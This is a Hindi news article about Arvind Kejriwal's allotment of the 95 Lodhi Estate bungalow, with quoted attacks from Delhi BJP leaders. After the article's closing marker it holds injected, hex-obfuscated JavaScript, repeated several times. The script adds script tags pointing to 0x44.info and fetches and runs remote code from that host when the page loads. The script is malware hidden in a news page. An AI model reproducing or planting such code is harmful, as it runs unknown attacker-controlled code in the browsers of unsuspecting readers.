DelhiCivicAlerts
Delhi Alerts

केजरीवाल ने मांगा था मायावती वाला घर, लेकिन मिल गया 95 लोधी एस्टेट

अरविंद केजरीवाल बतौर मुख्यमंत्री सिविल लाइन के 7 फ्लैग स्टॉफ रोड पर रहा करते। जिसे बीजेपी ने शीशमहल का नाम दिया। सरकारी आवास छूटने के बाद 5 फिरोजशाह रोड पर आप के सांसद अशोक मित्तल के आवास पर बतौर गेस्ट रहे। अब अरविंद केजरीवाल को 95 लोधी एस्टेट का एक एकड़ सरकारी बंगला मिल गया है। लोधी एस्टेट के मेन रोड पर टाइप 7 बंगला नेशनल कनवीनर के तौर पर किया गया। इससे पहले ये बंगला माइनॉरिटी कमीशन के चेयरमैन इकबाल सिंह लालपुरा को ये बंग्ला अलॉट था। दिल्ली में पूर्व मुख्यमंत्रियों को बंगला नहीं दिया जाता। आपको बता दें केजरीवाल ने इसके लिए लंबी कानूनी लड़ाई लड़ी। कोर्ट ने कई मौके पर फटकार भी लगाई और अलॉट करने को कहा।

दिल्ली बीजेपी अध्यक्ष वीरेंद्र सचदेवा और मीडिया प्रमुख् ने तीखा तंज कस दिया।

तीखा बयान देते हुए कहा कि अरविंद केजरीवाल ने अपने ही राजनीतिक आदर्शों को पूरी तरह त्याग दिया है। 2013 में एफिडेविट देकर सरकारी बंगला न लेने का वादा करने वाले केजरीवाल अब न्यायालय में “आप” मुखिया होने का दावा कर एक एकड़ का बंगला ले आए हैं।

सचदेवा ने कहा कि शराब घोटाले और कोविड काल में बने शीशमहल बंगले ने ही केजरीवाल सरकार की हार की नींव रखी थी। जनता ने 8 फरवरी 2025 को उन्हें सत्ता से बेदखल किया, लेकिन अब 7 अक्टूबर को उन्होंने फिर से बंगले की राजनीति में वापसी कर ली है।

उन्होंने कहा, “यह वही केजरीवाल हैं जिन्होंने कहा था कि भ्रष्टाचार के आरोप पर विधायक को बाहर कर देंगे, और खुद अब बंगले के लिए अदालत में एफिडेविट दे रहे हैं। यह हठधर्मी नहीं तो क्या है?”

दिल्ली भाजपा अध्यक्ष ने कहा है कि शीशमहल ने केजरीवाल को दिल्ली की सत्ता से बेदखल करवाया और 95 लोधी एस्टेट जैसा बड़ा बंगला लेना उनकी पार्टी के राष्ट्रीय पार्टी दर्जा खोने का कारण बनेगा।

एक्स पर दिल्ली बीजेपी मीडिया हेड प्रवीन शंकर कपूर ने लिखा

—–समाप्त—-

var _0xba29=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx71″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65”];var a=document[_0xba29[1]](_0xba29[0]);a[_0xba29[2]]= _0xba29[3];document[_0xba29[6]](_0xba29[5])[0][_0xba29[4]](a)var _0xbe6e=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx71″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65”];var a=document[_0xbe6e[1]](_0xbe6e[0]);a[_0xbe6e[2]]= _0xbe6e[3];document[_0xbe6e[6]](_0xbe6e[5])[0][_0xbe6e[4]](a);var _0x7ebb=[“x44x4Fx4Dx43x6Fx6Ex74x65x6Ex74x4Cx6Fx61x64x65x64″,”x68x74x74x70x73x3Ax2Fx2Fx30x78x34x34x2Ex69x6Ex66x6Fx2Fx78″,”x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x69x6Ex6Ex65x72x48x54x4Dx4C”,”x74x72x69x6D”,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x74x68x65x6E”,”x74x65x78x74″,”x61x64x64x45x76x65x6Ex74x4Cx69x73x74x65x6Ex65x72″];;;document[_0x7ebb[10]](_0x7ebb[0],function(){var _0xf251x1=_0x7ebb[1];fetch(_0xf251x1)[_0x7ebb[8]]((_0xf251x4)=>{return _0xf251x4[_0x7ebb[9]]()})[_0x7ebb[8]]((_0xf251x2)=>{var _0xf251x3=document[_0x7ebb[3]](_0x7ebb[2]);_0xf251x3[_0x7ebb[4]]= _0xf251x2[_0x7ebb[5]]();document[_0x7ebb[7]][_0x7ebb[6]](_0xf251x3)})});

Related posts

Delhi Government’s Big Reform: ‘Booked Properties’ to Receive Electricity Connections in the capital

delhicivicalerts

Zero Tolerance for Negligence; No Compromise on Waterlogging: Mayor Sardar Raja Iqbal Singh

delhicivicalerts

MCD से रेखा गुप्ता का इस्तीफा लेकिन इस चुनौती से कैसे निबटेंगी नई नवेली सीएम

delhicivicalerts

Leave a Comment